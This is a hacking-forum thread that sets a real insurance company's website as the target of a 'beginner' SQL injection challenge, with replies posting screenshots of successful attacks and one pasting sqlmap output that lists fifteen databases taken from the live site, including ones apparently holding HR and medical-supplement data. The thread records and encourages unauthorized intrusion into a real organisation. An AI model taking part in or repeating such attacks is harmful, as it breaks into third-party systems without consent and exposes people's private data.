Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Semi-Easy] SQLi Challenge for beginners [Semi-Easy]

Hi,

Thought I'd provide you with a little challenge.


Target: http://www.ksinsurance.org/hbexplan/index.php?pgid=2

Task: Display version with your HF name and post proof SS and PM syntax.

Proof:
[Image: 6cWMT.jpg]

Solvers:

ajkaro
haczord
SHoTT


Note: I would like to thank cloudsemail as I got the target from his list.
Here it is

[img]http://www.anonmgur.com/up/048afa284c68f82393e15c17a69fec73.jpg[/img]

Thanks for challenge 🤝
First Solver, nice one.

Added to Solvers.
easy one,done.
[Image: P85ts.png]
if you cant find somethin to live for, you best find somethin to die for.
done,here's the proof

[img]http://s7.postimage.org/v377u2r7v/Capture1.jpg[/img]

thanks for challenge
done
[img]http://s9.postimage.org/lkhp1ldyn/image.jpg[/img]
cant send PMs:-/ i am new here and need more posts to be able to send PMs
Thanks for challenge!
[img]http://img1.UploadScreenshot.com/images/main/8/23507511712.png[/img]
how we can doing this?? ...please someone could help us ...!!
Thanks for the challenge

[Image: BttzV.png]
[Image: BhmGt.png]
here you go.
easy one.everyone should success on this
Done;

Code
[02:40:46] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5.0
[02:40:46] [INFO] fetching database names
[02:40:47] [INFO] the SQL query used returns 15 entries
[02:40:48] [INFO] retrieved: information_schema
[02:40:49] [INFO] retrieved: as400files
[02:40:50] [INFO] retrieved: fra
[02:40:51] [INFO] retrieved: fra_bk_20110411
[02:40:52] [INFO] retrieved: hbex
[02:40:52] [INFO] retrieved: hrins
[02:40:53] [INFO] retrieved: kid
[02:40:54] [INFO] retrieved: lcm
[02:40:55] [INFO] retrieved: medsupp
[02:40:56] [INFO] retrieved: mysql
[02:40:57] [INFO] retrieved: recreq
[02:40:57] [INFO] retrieved: register
[02:40:58] [INFO] retrieved: storm
[02:40:59] [INFO] retrieved: surveys
[02:41:00] [INFO] retrieved: test
available databases [15]:
[*] as400files
[*] fra
[*] fra_bk_20110411
[*] hbex
[*] hrins
[*] information_schema
[*] kid
[*] lcm
[*] medsupp
[*] mysql
[*] recreq
[*] register
[*] storm
[*] surveys
[*] test

[02:41:00] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.ksinsurance.org'

[*] shutting down at 02:41:00
LOL.
I am a noob when it comes to SQL Injection o_o I can't even pull this challenge off XD
Very good challenge gonna PM you the syntax :)

Spoiler (Click to View)
[img]http://i.imm.io/BNcq.png[/img]

Thx again for challenge :D
done
[img]http://s9.postimage.org/k55vdnuan/image.jpg[/img]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Byte WizardJul 25, 2024 09:04 AM 0 248 Jul 25, 2024 09:04 AM
Last Post: Byte Wizard
by GOD_SLAYERDec 24, 2022 12:16 PM 9 604 Dec 24, 2022 12:16 PM
Last Post: Skorp
by GOD_SLAYERAug 19, 2022 07:11 PM 0 166 Aug 19, 2022 07:11 PM
Last Post: GOD_SLAYER